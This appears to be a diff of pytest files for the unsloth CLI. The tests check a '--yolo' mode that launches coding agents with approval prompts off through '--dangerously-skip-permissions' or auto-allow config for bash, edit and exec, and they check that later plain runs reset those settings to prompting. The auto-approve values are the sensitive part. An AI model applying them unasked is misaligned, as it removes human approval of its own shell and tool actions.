+    assert result.exit_code == 0, result.output
+    # pi's --approve is a real flag only added under --yolo; assert it's absent here.
+    command = _launch_command(result.output)
+    assert command and command[0] == agent, result.output
+    assert native not in command
+
+
+@pytest.mark.parametrize(
+    "alias",
+    ["--yolo", "--dangerously-skip-permissions", "--dangerously-bypass-approvals-and-sandbox"],
+)
+def test_yolo_aliases_are_interchangeable(fake_studio, alias):
+    # Any spelling on any agent routes to that agent's own flag, even the "wrong" one.
+    claude = CliRunner().invoke(start.start_app, ["claude", alias, "--no-launch"])
+    assert claude.exit_code == 0, claude.output
+    assert "--dangerously-skip-permissions" in claude.output
+    # The codex spelling must not leak through to Claude's command line.
+    assert "--dangerously-bypass-approvals-and-sandbox" not in claude.output
+
+    codex = CliRunner().invoke(start.start_app, ["codex", alias, "--no-launch"])
+    assert codex.exit_code == 0, codex.output
+    assert "--dangerously-bypass-approvals-and-sandbox" in codex.output
+    assert "--dangerously-skip-permissions" not in codex.output
+
+
+def test_yolo_opencode_writes_permission_block(fake_studio, tmp_path):
+    result = CliRunner().invoke(start.start_app, ["opencode", "--yolo", "--no-launch"])
+    assert result.exit_code == 0, result.output
+    config = json.loads((tmp_path / "agents" / "opencode" / "opencode.json").read_text())
+    assert config["permission"] == {"edit": "allow", "bash": "allow", "webfetch": "allow"}
+
+
+def test_no_yolo_opencode_has_no_permission_block(fake_studio, tmp_path):
+    result = CliRunner().invoke(start.start_app, ["opencode", "--no-launch"])
+    assert result.exit_code == 0, result.output
+    config = json.loads((tmp_path / "agents" / "opencode" / "opencode.json").read_text())
+    # A non-yolo run on a fresh config writes no permission block; it only flips a prior
+    # --yolo run's explicit allow back to ask (see the yolo-then-plain test below).
+    assert "permission" not in config
+
+
+def test_no_yolo_opencode_flips_prior_yolo_allow_to_ask(fake_studio, tmp_path):
+    # The core reset: a --yolo run wrote explicit per-tool allow; a later non-yolo run
+    # must flip exactly those back to ask so nothing stays auto-approved.
+    yolo = CliRunner().invoke(start.start_app, ["opencode", "--yolo", "--no-launch"])
+    assert yolo.exit_code == 0, yolo.output
+    config_path = tmp_path / "agents" / "opencode" / "opencode.json"
+    assert json.loads(config_path.read_text())["permission"] == {
+        "edit": "allow",
+        "bash": "allow",
+        "webfetch": "allow",
+    }
+    plain = CliRunner().invoke(start.start_app, ["opencode", "--no-launch"])
+    assert plain.exit_code == 0, plain.output
+    assert json.loads(config_path.read_text())["permission"] == {
+        "edit": "ask",
+        "bash": "ask",
+        "webfetch": "ask",
+    }
+
+
+def test_yolo_openclaw_writes_exec_policy(fake_studio, tmp_path):
+    result = CliRunner().invoke(start.start_app, ["openclaw", "--yolo", "--no-launch"])
+    assert result.exit_code == 0, result.output
+    state = tmp_path / "agents" / "openclaw"
+    config = json.loads((state / "openclaw.json").read_text())
+    assert config["tools"]["exec"] == {"host": "gateway", "security": "full", "ask": "off"}
+    # Both layers: the host approvals file in OPENCLAW_STATE_DIR must also be set, or
+    # OpenClaw can still prompt/deny despite the config.
+    approvals = json.loads((state / "exec-approvals.json").read_text())
+    assert approvals["defaults"] == {"security": "full", "ask": "off", "askFallback": "full"}
+
+
+def test_no_yolo_openclaw_leaves_fresh_config_untouched(fake_studio, tmp_path):
+    # A fresh non-yolo run only undoes state a prior --yolo wrote; with no yolo
+    # fingerprint present it must not synthesize an exec policy. An omitted policy can
+    # resolve to a sandbox default of security=deny, so writing allowlist here would
+    # BROADEN it. The reset is scoped to the exact yolo write, verified by the
+    # yolo-then-plain round trip below.
+    result = CliRunner().invoke(start.start_app, ["openclaw", "--no-launch"])
+    assert result.exit_code == 0, result.output
+    state = tmp_path / "agents" / "openclaw"
+    config = json.loads((state / "openclaw.json").read_text())
+    assert "exec" not in config.get("tools", {})
+    assert not (state / "exec-approvals.json").exists()
+
+
+def test_write_opencode_config_yolo_unit(tmp_path):
+    path = tmp_path / "opencode.json"
+    start.write_opencode_config(BASE, "sk-unsloth-abc", MODEL, path, yolo = True)
+    config = json.loads(path.read_text())
+    assert config["permission"] == {"edit": "allow", "bash": "allow", "webfetch": "allow"}
+
+
+def test_write_openclaw_config_yolo_unit(tmp_path):
+    path = tmp_path / "openclaw.json"
+    start.write_openclaw_config(BASE, "sk-unsloth-abc", MODEL, path, yolo = True)
+    config = json.loads(path.read_text())
+    assert config["tools"]["exec"] == {"host": "gateway", "security": "full", "ask": "off"}
+    approvals = json.loads((path.parent / "exec-approvals.json").read_text())
+    assert approvals == {
+        "version": 1,
+        "defaults": {"security": "full", "ask": "off", "askFallback": "full"},
+    }
+
+
+def test_no_launch_rerun_clears_stale_opencode_yolo_permissions(fake_studio, tmp_path):
+    # The no-launch config dir is reused across runs, so a --yolo run persists its
+    # auto-approve settings; a later run without --yolo must strip them, not leave
+    # tool execution silently pre-approved.
+    yolo = CliRunner().invoke(start.start_app, ["opencode", "--yolo", "--no-launch"])
+    assert yolo.exit_code == 0, yolo.output
+    config_path = tmp_path / "agents" / "opencode" / "opencode.json"
+    assert "permission" in json.loads(config_path.read_text())
+    plain = CliRunner().invoke(start.start_app, ["opencode", "--no-launch"])
+    assert plain.exit_code == 0, plain.output
+    config = json.loads(config_path.read_text())
+    # The yolo allow policy is replaced by a prompting one, not deleted (which would
+    # revert to OpenCode's permissive "allow" default).
+    assert config["permission"] == {"edit": "ask", "bash": "ask", "webfetch": "ask"}
+    # The session provider survives the cleanup.
+    assert "unsloth" in config["provider"]
+
+
+def test_no_launch_rerun_clears_stale_openclaw_yolo_state(fake_studio, tmp_path):
+    yolo = CliRunner().invoke(start.start_app, ["openclaw", "--yolo", "--no-launch"])
+    assert yolo.exit_code == 0, yolo.output
+    state = tmp_path / "agents" / "openclaw"
+    assert (state / "exec-approvals.json").exists()
+    plain = CliRunner().invoke(start.start_app, ["openclaw", "--no-launch"])
+    assert plain.exit_code == 0, plain.output
+    config = json.loads((state / "openclaw.json").read_text())
+    # The yolo policy is replaced by a prompting one, not deleted (which would revert
+    # to OpenClaw's permissive default), and the yolo approvals file is gone.
+    assert config["tools"]["exec"] == {"security": "allowlist", "ask": "on-miss"}
+    assert not (state / "exec-approvals.json").exists()
+    # The session provider survives the cleanup.
+    assert "unsloth" in config["models"]["providers"]
+
+
+def test_write_openclaw_config_yolo_then_plain_unit(tmp_path):
+    path = tmp_path / "openclaw.json"
+    start.write_openclaw_config(BASE, "sk-unsloth-abc", MODEL, path, yolo = True)
+    start.write_openclaw_config(BASE, "sk-unsloth-abc", MODEL, path, yolo = False)
+    config = json.loads(path.read_text())
+    # A plain rerun replaces the yolo policy with a prompting one (deleting it would
+    # fall back to OpenClaw's permissive default) and removes the yolo approvals file.
+    assert config["tools"]["exec"] == {"security": "allowlist", "ask": "on-miss"}
+    assert not (path.parent / "exec-approvals.json").exists()
+
+
+def test_write_opencode_config_yolo_then_plain_unit(tmp_path):
+    path = tmp_path / "opencode.json"
+    start.write_opencode_config(BASE, "sk-unsloth-abc", MODEL, path, yolo = True)
+    start.write_opencode_config(BASE, "sk-unsloth-abc", MODEL, path, yolo = False)
+    config = json.loads(path.read_text())
+    # A plain rerun replaces the yolo allow policy with a prompting one.
+    assert config["permission"] == {"edit": "ask", "bash": "ask", "webfetch": "ask"}
+
+
+def test_openclaw_non_yolo_keeps_runtime_approvals(tmp_path):
+    # OpenClaw records its own entries in exec-approvals.json (OPENCLAW_STATE_DIR is
+    # this dir); the non-yolo reset drops only the yolo defaults, not those.
+    path = tmp_path / "openclaw.json"
+    start.write_openclaw_config(BASE, "sk-unsloth-abc", MODEL, path, yolo = True)
+    approvals = path.parent / "exec-approvals.json"
+    state = json.loads(approvals.read_text())
+    state["agents"] = {"main": {"allowlist": ["git status"]}}
+    approvals.write_text(json.dumps(state))
+    start.write_openclaw_config(BASE, "sk-unsloth-abc", MODEL, path, yolo = False)
+    remaining = json.loads(approvals.read_text())
+    assert "defaults" not in remaining
+    assert remaining["agents"] == {"main": {"allowlist": ["git status"]}}
+
+
+def test_openclaw_non_yolo_keeps_mixed_approval_defaults(tmp_path):
+    # A mixed user-managed defaults block that only shares a field with the yolo payload
+    # (here askFallback=full, whose omitted default is deny) is not stale yolo state, so a
+    # non-yolo run leaves it intact rather than stripping the shared field.
+    path = tmp_path / "openclaw.json"
+    approvals = path.parent / "exec-approvals.json"
+    mixed = {
+        "version": 1,
+        "defaults": {"security": "allowlist", "ask": "on-miss", "askFallback": "full"},
+    }
+    approvals.write_text(json.dumps(mixed))
+    start.write_openclaw_config(BASE, "sk-unsloth-abc", MODEL, path, yolo = False)
+    assert json.loads(approvals.read_text()) == mixed
+
+
+def test_openclaw_non_yolo_leaves_partial_policy_untouched(tmp_path):
+    # A policy that lacks the full yolo fingerprint (here no host and no security) is not
+    # our --yolo write, so a non-yolo run leaves it as-is rather than assuming ask=off
+    # means permissive: an omitted host/security can resolve to a sandbox deny default.
+    path = tmp_path / "openclaw.json"
+    path.write_text(json.dumps({"tools": {"exec": {"timeout": 30, "ask": "off"}}}))
+    start.write_openclaw_config(BASE, "sk-unsloth-abc", MODEL, path, yolo = False)
+    config = json.loads(path.read_text())
+    assert config["tools"]["exec"] == {"timeout": 30, "ask": "off"}
+
+
+def test_openclaw_non_yolo_leaves_no_permissive_values(tmp_path):
+    # The whole point of the reset: after a yolo run, a plain run must leave neither the
+    # config nor the approvals file at OpenClaw's permissive (security=full, ask=off)
+    # default, or exec still auto-approves.
+    path = tmp_path / "openclaw.json"
+    start.write_openclaw_config(BASE, "sk-unsloth-abc", MODEL, path, yolo = True)
+    start.write_openclaw_config(BASE, "sk-unsloth-abc", MODEL, path, yolo = False)
+    exec_policy = json.loads(path.read_text())["tools"]["exec"]
+    assert exec_policy.get("security") != "full"
+    assert exec_policy.get("ask") != "off"
+    assert not (path.parent / "exec-approvals.json").exists()
+
+
+def test_openclaw_non_yolo_preserves_stricter_exec_policy(tmp_path):
+    # A policy that doesn't carry the yolo values (for example stricter security or
+    # prompting turned on) was not written by --yolo and must survive a plain run.
+    path = tmp_path / "openclaw.json"
+    path.write_text(json.dumps({"tools": {"exec": {"security": "deny", "ask": "on"}}}))
+    start.write_openclaw_config(BASE, "sk-unsloth-abc", MODEL, path, yolo = False)
+    config = json.loads(path.read_text())
+    assert config["tools"]["exec"] == {"security": "deny", "ask": "on"}
+
+
+def test_openclaw_non_yolo_preserves_stricter_approval_defaults(tmp_path):
+    # exec-approvals.json defaults that don't match the yolo payload (stricter
+    # settings from the user or the OpenClaw UI) are kept, and the file stays.
+    path = tmp_path / "openclaw.json"
+    approvals = path.parent / "exec-approvals.json"
+    approvals.write_text(
+        json.dumps({"version": 1, "defaults": {"security": "allowlist", "ask": "on"}})
+    )
+    start.write_openclaw_config(BASE, "sk-unsloth-abc", MODEL, path, yolo = False)
+    state = json.loads(approvals.read_text())
+    assert state["defaults"] == {"security": "allowlist", "ask": "on"}
+
+
+def test_openclaw_non_yolo_leaves_unparseable_approvals(tmp_path):
+    # An unreadable approvals file is left in place rather than deleted, matching
+    # how an unparseable config is handled.
+    path = tmp_path / "openclaw.json"
+    approvals = path.parent / "exec-approvals.json"
+    approvals.write_text("{not json")
+    start.write_openclaw_config(BASE, "sk-unsloth-abc", MODEL, path, yolo = False)
+    assert approvals.read_text() == "{not json"
+
+
+def test_opencode_non_yolo_flips_only_explicit_allow(tmp_path):
+    # Only a tool explicitly set to "allow" (what --yolo writes) is flipped to "ask". A
+    # deny/ask a user set is kept, and an absent tool is not added.
+    path = tmp_path / "opencode.json"
+    path.write_text(json.dumps({"permission": {"edit": "allow", "bash": "deny", "read": "ask"}}))
+    session = start.write_opencode_config(BASE, "sk-unsloth-abc", MODEL, path, yolo = False)
+    config = json.loads(path.read_text())
+    assert config["permission"] == {"edit": "ask", "bash": "deny", "read": "ask"}
+    assert session == {}  # a non-yolo session carries no permission inline
+
+
+def test_opencode_non_yolo_leaves_string_permission(tmp_path):
+    # A global string rule ("deny") is a user-managed catch-all; leave it untouched and
+    # carry no inline override.
+    path = tmp_path / "opencode.json"
+    path.write_text(json.dumps({"permission": "deny"}))
+    session = start.write_opencode_config(BASE, "sk-unsloth-abc", MODEL, path, yolo = False)
+    assert json.loads(path.read_text())["permission"] == "deny"
+    assert session == {}
+
+
+def test_opencode_non_yolo_leaves_catch_all_and_flips_explicit_allow(tmp_path):
+    # A "*" catch-all is the user's own rule, never something --yolo writes (yolo sets
+    # explicit per-tool allow), so it is left intact; an explicit per-tool "allow" is still
+    # flipped to "ask", but an absent tool inheriting the catch-all is not touched.
+    path = tmp_path / "opencode.json"
+    path.write_text(json.dumps({"permission": {"*": "allow", "bash": "allow"}}))
+    session = start.write_opencode_config(BASE, "sk-unsloth-abc", MODEL, path, yolo = False)
+    assert json.loads(path.read_text())["permission"] == {"*": "allow", "bash": "ask"}
+    assert session == {}
+
+
+def test_opencode_non_yolo_leaves_granular_object(tmp_path):
+    # A granular object value is a user rule (yolo only ever writes a plain "allow" string),
+    # so it is left in the file verbatim and never carried inline.
+    path = tmp_path / "opencode.json"
+    obj = {"read *": "deny", "git *": "ask"}
+    path.write_text(json.dumps({"permission": {"bash": dict(obj)}}))
+    session = start.write_opencode_config(BASE, "sk-unsloth-abc", MODEL, path, yolo = False)
+    assert json.loads(path.read_text())["permission"]["bash"] == obj
+    assert session == {}
+
+
+def test_openclaw_non_yolo_leaves_mode_policy(tmp_path):
+    # tools.exec.mode is OpenClaw's normalized knob and cannot be combined with explicit
+    # security/ask (the config is rejected), so a mode-based policy must be left as-is.
+    path = tmp_path / "openclaw.json"
+    path.write_text(json.dumps({"tools": {"exec": {"mode": "deny"}}}))
+    start.write_openclaw_config(BASE, "sk-unsloth-abc", MODEL, path, yolo = False)
+    config = json.loads(path.read_text())
+    assert config["tools"]["exec"] == {"mode": "deny"}
+
+
+def test_openclaw_non_yolo_preserves_sandbox_host(tmp_path):
+    # host=sandbox defaults to security=deny (stricter than the gateway "full" default),
+    # so a non-yolo run must not treat the missing security as permissive nor pop host
+    # (which would broaden routing to the gateway).
+    path = tmp_path / "openclaw.json"
+    path.write_text(json.dumps({"tools": {"exec": {"host": "sandbox"}}}))
+    start.write_openclaw_config(BASE, "sk-unsloth-abc", MODEL, path, yolo = False)
+    config = json.loads(path.read_text())
+    assert config["tools"]["exec"] == {"host": "sandbox"}
+
+
+def test_openclaw_non_yolo_preserves_node_host(tmp_path):
+    # host=node routes to a paired node and is only ever set by the user (--yolo writes
+    # host=gateway), so a non-yolo run must not pop it and reroute to the gateway.
+    path = tmp_path / "openclaw.json"
+    path.write_text(json.dumps({"tools": {"exec": {"host": "node"}}}))
+    start.write_openclaw_config(BASE, "sk-unsloth-abc", MODEL, path, yolo = False)
+    config = json.loads(path.read_text())
+    assert config["tools"]["exec"] == {"host": "node"}
+
+
+def test_openclaw_non_yolo_preserves_auto_host_permissive(tmp_path):
+    # host=auto (or omitted) with security=full/ask=off is NOT the --yolo write: under an
+    # active sandbox, auto resolves to security=deny. --yolo only ever writes host=gateway,
+    # so the reset must not treat auto/None as the permissive gateway default and broaden a
+    # sandboxed deny to allowlist.
+    for exec_policy in (
+        {"host": "auto", "security": "full", "ask": "off"},
+        {"security": "full", "ask": "off"},
+    ):
+        path = tmp_path / "openclaw.json"
+        path.write_text(json.dumps({"tools": {"exec": dict(exec_policy)}}))
+        start.write_openclaw_config(BASE, "sk-unsloth-abc", MODEL, path, yolo = False)
+        config = json.loads(path.read_text())
+        assert config["tools"]["exec"] == exec_policy
+
+
+def test_openclaw_non_yolo_resets_only_gateway_yolo_fingerprint(tmp_path):
+    # The reset fires on exactly the host=gateway + security=full + ask=off write --yolo
+    # makes, and nothing else.
+    path = tmp_path / "openclaw.json"
+    path.write_text(
+        json.dumps({"tools": {"exec": {"host": "gateway", "security": "full", "ask": "off"}}})
+    )
+    start.write_openclaw_config(BASE, "sk-unsloth-abc", MODEL, path, yolo = False)
+    config = json.loads(path.read_text())
+    assert config["tools"]["exec"] == {"security": "allowlist", "ask": "on-miss"}
+
+
+def test_openclaw_non_yolo_preserves_full_mode(tmp_path):
+    # OpenClaw never normalizes our security=full/ask=off yolo write into mode:"full"
+    # (verified against the binary: doctor --fix and config get leave security/ask as-is),
+    # so a mode:"full" is always a deliberate user policy, not stale yolo state; leave it.
+    path = tmp_path / "openclaw.json"
+    path.write_text(json.dumps({"tools": {"exec": {"mode": "full"}}}))
+    start.write_openclaw_config(BASE, "sk-unsloth-abc", MODEL, path, yolo = False)
+    config = json.loads(path.read_text())
+    assert config["tools"]["exec"] == {"mode": "full"}
+
+
+def test_yolo_command_flags_unmapped_agent_is_empty():
+    # Config-based agents (and any typo) must yield no flag, not a KeyError.
+    assert start._yolo_command_flags("opencode", True) == []
+    assert start._yolo_command_flags("openclaw", True) == []
+    assert start._yolo_command_flags("claude", True) == ["--dangerously-skip-permissions"]
+    assert start._yolo_command_flags("claude", False) == []
+
+
+def test_yolo_config_agents_add_no_command_flag(fake_studio):
+    # opencode/openclaw auto-approve is config-only; nothing should leak onto argv.
+    for agent in ("opencode", "openclaw"):
+        result = CliRunner().invoke(start.start_app, [agent, "--yolo", "--no-launch"])
+        assert result.exit_code == 0, result.output
+        command = _launch_command(result.output)
+        assert command and command[0] == agent, result.output
+        assert not any("--yolo" in arg or "--dangerous" in arg for arg in command)
+
+
+def test_pi_launch_clears_screen_first(fake_studio, monkeypatch):
+    # Pi paints inline from the current cursor position (no alternate screen, no
+    # clear on its first render), so the launcher hands it a clean screen. The
+    # clear must come BEFORE the exec, and only on the launch path.
+    calls = []
+    monkeypatch.setattr(start.click, "clear", lambda: calls.append("clear"))
+    monkeypatch.setattr(start.shutil, "which", lambda _: "/usr/local/bin/pi")
+
+    def run(command, env):
+        calls.append("exec")
+        return SimpleNamespace(returncode = 0)
+
+    monkeypatch.setattr(start.subprocess, "run", run)
+    result = CliRunner().invoke(start.start_app, ["pi"])
+    assert result.exit_code == 0, result.output
+    assert calls == ["clear", "exec"]
+
+
+def test_pi_no_launch_does_not_clear(fake_studio, monkeypatch):
+    # The --no-launch recipe is meant to be read (and piped); never wipe it.
+    calls = []
+    monkeypatch.setattr(start.click, "clear", lambda: calls.append("clear"))
+    result = CliRunner().invoke(start.start_app, ["pi", "--no-launch"])
+    assert result.exit_code == 0, result.output
+    assert calls == []
+
+
+def test_claude_launch_does_not_clear(fake_studio, monkeypatch):
+    # Alternate-screen agents manage the terminal themselves; leave it alone.
+    calls = []
+    monkeypatch.setattr(start.click, "clear", lambda: calls.append("clear"))
+    monkeypatch.setattr(start.shutil, "which", lambda _: "/usr/local/bin/claude")
+    monkeypatch.setattr(start, "_claude_flags", lambda: [])
+    monkeypatch.setattr(start.subprocess, "run", lambda command, env: SimpleNamespace(returncode = 0))
+    result = CliRunner().invoke(start.start_app, ["claude"])
+    assert result.exit_code == 0, result.output
+    assert calls == []
+
+
+@pytest.mark.skipif(
+    os.name == "nt",
+    reason = "WSL-from-Linux scenario: a Windows pi shim under /mnt called from WSL "
+    "(os.name is 'posix' under WSL), so this can't run on a native Windows runner.",
+)
+def test_connect_pi_wsl_windows_shim_relocates_userprofile(fake_studio, monkeypatch):
+    captured = {}
+    monkeypatch.setenv("WSL_DISTRO_NAME", "Ubuntu")
+    monkeypatch.setattr(start.shutil, "which", lambda _: "/mnt/c/Users/x/AppData/Roaming/npm/pi")
+
+    def run(command, env):
+        captured["env"] = env
+        return SimpleNamespace(returncode = 0)
+
+    monkeypatch.setattr(start.subprocess, "run", run)
+    result = CliRunner().invoke(start.start_app, ["pi"])
+    assert result.exit_code == 0, result.output
+    home = captured["env"]["HOME"]
+    # A Windows pi shim resolves ~/.pi via USERPROFILE, so it must match the session
+    # HOME and ride the WSLENV bridge (with /p) so the path is translated for Windows.
+    assert captured["env"]["USERPROFILE"] == home
+    wslenv = captured["env"]["WSLENV"].split(":")
+    assert "HOME/p" in wslenv
+    assert "USERPROFILE/p" in wslenv
+
+
+def test_agent_api_key_auto_started_rejected_env_key_falls_back(fake_studio, tmp_path, monkeypatch):
+    # UNSLOTH_API_KEY exported for some OTHER server must not fail the launch
+    # against a server this run just auto-started: validate, then fall back to
+    # the local mint path, and never remember the foreign key for this base.
+    inner = start._http_json
+
+    def http_json(
+        method,
+        url,
+        token,
+        payload = None,
+        timeout = 30,
+        error = None,
+    ):
+        if url.endswith("/v1/models") and token == "sk-unsloth-other-server":
+            raise urllib.error.HTTPError(url, 401, "Unauthorized", None, None)
+        return inner(method, url, token, payload, timeout, error)
+
+    monkeypatch.setattr(start, "_http_json", http_json)
+    key = start._agent_api_key(BASE, "sk-unsloth-other-server", auto_started = True)
+    assert key == "sk-unsloth-feedfacefeedface"  # minted for the fresh server
+    cached = json.loads((tmp_path / "agent_api_key.json").read_text())
+    assert "sk-unsloth-other-server" not in json.dumps(cached["servers"].get(BASE, {}))
+
+
+def test_agent_api_key_auto_started_accepted_key_is_honored(fake_studio, tmp_path):
+    # An explicit key the fresh server accepts (e.g. persisted in this Studio
+    # home's auth db across restarts) keeps working exactly as before.
+    key = start._agent_api_key(BASE, "sk-unsloth-deadbeefdeadbeef", auto_started = True)
+    assert key == "sk-unsloth-deadbeefdeadbeef"
+    cached = json.loads((tmp_path / "agent_api_key.json").read_text())
+    assert cached["servers"][BASE]["saved"] == ["sk-unsloth-deadbeefdeadbeef"]
+
+
+def test_session_config_no_launch_preserves_existing_state(fake_studio, tmp_path):
+    # A previously printed recipe may still be running an agent whose sessions
+    # or sqlite state live in the stable home; a re-run must not wipe it.
+    with start._session_config("codex", launch = False) as home:
+        marker = home / "sessions" / "live.sqlite"
+        marker.parent.mkdir(parents = True)
+        marker.write_text("state")
+    with start._session_config("codex", launch = False) as home2:
+        assert home2 == home
+        assert (home2 / "sessions" / "live.sqlite").read_text() == "state"
diff --git a/unsloth_cli/tests/test_studio_cloudflare_flag.py b/unsloth_cli/tests/test_studio_cloudflare_flag.py
index 905512976e..c09ac8b998 100644
--- a/unsloth_cli/tests/test_studio_cloudflare_flag.py
+++ b/unsloth_cli/tests/test_studio_cloudflare_flag.py
@@ -233,6 +233,121 @@ def test_run_in_venv_passes_cloudflare_to_run_server(monkeypatch, user_flag, exp
     assert captured.get("cloudflare") is expected, captured
 
 
+def test_run_display_host_and_url_helpers_cover_ipv6_wildcard():
+    import types
+
+    studio_mod = _studio()
+    run_mod = types.SimpleNamespace(_resolve_external_ip = lambda: "198.51.100.7")
+
+    assert studio_mod._display_host_for_bind(run_mod, "0.0.0.0") == "198.51.100.7"
+    assert studio_mod._display_host_for_bind(run_mod, "::") == "198.51.100.7"
+    assert studio_mod._url_host("2001:db8::7") == "[2001:db8::7]"
+    assert studio_mod._url_host("127.0.0.1") == "127.0.0.1"
+
+
+def test_run_cloudflare_notice_uses_external_host_policy():
+    import types
+
+    studio_mod = _studio()
+    calls = []
+    run_mod = types.SimpleNamespace(
+        _verify_global_reachability = lambda host, port: calls.append(("verify", host, port)),
+        _print_cloudflare_line = lambda **kw: calls.append(("print", kw)),
+    )
+
+    studio_mod._emit_run_cloudflare_notice(run_mod, "0.0.0.0", "198.51.100.7", 8888, False)
+    assert calls == [
+        ("verify", "198.51.100.7", 8888),
+        ("print", {"secure": False, "loopback_host": "127.0.0.1"}),
+    ]
+
+    calls.clear()
+    studio_mod._emit_run_cloudflare_notice(run_mod, "::", "198.51.100.7", 8888, False)
+    assert calls == [
+        ("verify", "198.51.100.7", 8888),
+        ("print", {"secure": False, "loopback_host": "::1"}),
+    ]
+
+    calls.clear()
+    studio_mod._emit_run_cloudflare_notice(run_mod, "127.0.0.1", "127.0.0.1", 8888, False)
+    assert calls == []
+
+
+def test_run_silent_emits_cloudflare_notice_for_external_bind(monkeypatch):
+    import types
+
+    studio_mod = _studio()
+    fake_venv = Path("/fake/studio/venv/unsloth_studio")
+    monkeypatch.setattr(sys, "prefix", str(fake_venv))
+    monkeypatch.setattr(studio_mod, "STUDIO_HOME", fake_venv.parent)
+
+    from unsloth_cli import _tool_policy as _tp_mod
+
+    monkeypatch.setattr(
+        _tp_mod,
+        "resolve_tool_policy",
+        lambda host, flag, yes, silent: False if flag is None else bool(flag),
+    )
+
+    class _Done(SystemExit):
+        pass
+
+    class _ShutdownEvent:
+        def is_set(self):
+            raise _Done(0)
+
+        def wait(self, timeout = None):
+            return None
+
+    class _App:
+        class state:
+            server_port = 8888
+            cloudflare_url = "https://x.trycloudflare.com"
+
+    calls = []
+    backend = types.ModuleType("studio.backend.run")
+    backend.run_server = lambda **_kwargs: _App()
+    backend._resolve_external_ip = lambda: "198.51.100.7"
+    backend._verify_global_reachability = lambda host, port: calls.append(("verify", host, port))
+    backend._print_cloudflare_line = lambda **kw: calls.append(("print", kw))
+    backend._server = object()
+    backend._shutdown_event = _ShutdownEvent()
+    backend._graceful_shutdown = lambda server: calls.append(("shutdown", server))
+    monkeypatch.setitem(sys.modules, "studio.backend.run", backend)
+    monkeypatch.setattr(studio_mod, "_RUN_MODULE", backend)
+
+    state_mod = types.ModuleType("state")
+    tp_mod = types.ModuleType("state.tool_policy")
+    tp_mod.set_tool_policy = lambda *a, **k: None
+    state_mod.tool_policy = tp_mod
+    monkeypatch.setitem(sys.modules, "state", state_mod)
+    monkeypatch.setitem(sys.modules, "state.tool_policy", tp_mod)
+
+    monkeypatch.setattr(studio_mod, "_wait_for_server", lambda *a, **k: True)
+    monkeypatch.setattr(studio_mod, "_create_api_key_inprocess", lambda name: "sk-test")
+    monkeypatch.setattr(
+        studio_mod,
+        "_load_model_via_http",
+        lambda **_kwargs: {"model": "unsloth/Qwen3-1.7B-GGUF", "context_length": 4096},
+    )
+
+    import typer as _typer
+
+    app = _typer.Typer()
+    app.command(
+        context_settings = {"allow_extra_args": True, "ignore_unknown_options": True},
+    )(studio_mod.run)
+    result = CliRunner().invoke(
+        app,
+        _BASE + ["--silent", "-H", "0.0.0.0"],
+        catch_exceptions = True,
+    )
+
+    assert result.exit_code == 0, result.output
+    assert ("verify", "198.51.100.7", 8888) in calls
+    assert ("print", {"secure": False, "loopback_host": "127.0.0.1"}) in calls
+
+
 # ── parent-level --no-cloudflare with a subcommand is rejected ───────
 
 
diff --git a/unsloth_cli/tests/test_studio_run_parallel_flag.py b/unsloth_cli/tests/test_studio_run_parallel_flag.py
index 8caf31a432..558b268a4d 100644
--- a/unsloth_cli/tests/test_studio_run_parallel_flag.py
+++ b/unsloth_cli/tests/test_studio_run_parallel_flag.py
@@ -361,6 +361,29 @@ def test_studio_default_rejects_parallel_when_subcommand_invoked():
     ), f"error message must show the corrected invocation; got: {combined}"
 
 
+def test_studio_default_rejects_api_only_when_subcommand_invoked():
+    """`unsloth studio --api-only run ...` would silently serve the UI (the
+    parent's --api-only never reaches run). The callback rejects with exit 2
+    and points at the subcommand flag."""
+    studio_mod = _load_run_command()
+    import typer as _typer
+
+    app = _typer.Typer()
+    app.add_typer(studio_mod.studio_app, name = "studio")
+
+    runner = CliRunner()
+    result = runner.invoke(app, ["studio", "--api-only", "run", "--model", "X"])
+    assert result.exit_code == 2, (
+        f"expected exit 2 when --api-only is on studio group with a "
+        f"subcommand invoked; got {result.exit_code}; output={result.output!r}"
+    )
+    combined = (result.output or "") + (getattr(result, "stderr", "") or "")
+    assert "--api-only" in combined, combined
+    assert (
+        "run --api-only" in combined
+    ), f"error message must show the corrected invocation; got: {combined}"
+
+
 def test_studio_default_default_parallel_with_subcommand_does_not_error():
     """Omitting --parallel on the group must still let subcommands
     run; the group's default 1 is benign."""
@@ -445,3 +468,81 @@ def test_in_venv_path_passes_parallel_to_run_server(monkeypatch, value):
     assert (
         captured.get("llama_parallel_slots") == value
     ), f"run_server got llama_parallel_slots={captured.get('llama_parallel_slots')!r}, expected {value}"
+
+
+# --api-only: serve API only (no UI). Both re-exec and in-venv paths must carry it.
+
+
+def test_api_only_option_is_registered():
+    studio_mod = _load_run_command()
+    import inspect
+
+    opt = inspect.signature(studio_mod.run).parameters["api_only"].default
+    assert "--api-only" in set(getattr(opt, "param_decls", []) or [])
+    assert getattr(opt, "default", None) is False  # opt-in; plain run keeps the UI
+
+
+@pytest.mark.parametrize(
+    "extra,present",
+    [
+        (["--api-only"], True),
+        (["--secure", "--api-only"], True),  # secure headless path
+        ([], False),
+    ],
+)
+def test_reexec_forwards_api_only(monkeypatch, extra, present):
+    """`--api-only` (and only when typed) must reach the re-exec'd child."""
+    result, captured = _invoke_run(monkeypatch, _BASE + extra)
+    assert len(captured) == 1, result.output
+    argv = captured[0]["argv"]
+    assert ("--api-only" in argv) is present, argv
+
+
+@pytest.mark.parametrize("extra,expected", [(["--api-only"], True), ([], False)])
+def test_in_venv_path_passes_api_only_to_run_server(monkeypatch, extra, expected):
+    """In-venv path must forward --api-only to run_server(api_only=...)."""
+    studio_mod = _load_run_command()
+
+    fake_venv = Path("/fake/studio/venv/unsloth_studio")
+    monkeypatch.setattr(sys, "prefix", str(fake_venv))
+    monkeypatch.setattr(studio_mod, "STUDIO_HOME", fake_venv.parent)
+
+    from unsloth_cli import _tool_policy as _tp_mod
+
+    monkeypatch.setattr(
+        _tp_mod,
+        "resolve_tool_policy",
+        lambda host, flag, yes, silent: False if flag is None else bool(flag),
+    )
+
+    captured: dict = {}
+
+    def fake_run_server(**kwargs):
+        captured.update(kwargs)
+        raise _RunServerCaptured(kwargs)
+
+    fake_backend_run = sys.modules.setdefault(
+        "studio.backend.run", _types_module("studio.backend.run")
+    )
+    fake_backend_run.run_server = fake_run_server
+    fake_backend_run._resolve_external_ip = lambda: "127.0.0.1"
+    monkeypatch.setattr(studio_mod, "_RUN_MODULE", fake_backend_run)
+
+    import typer as _typer
+
+    app = _typer.Typer()
+    app.command(
+        context_settings = {
+            "allow_extra_args": True,
+            "ignore_unknown_options": True,
+        },
+    )(studio_mod.run)
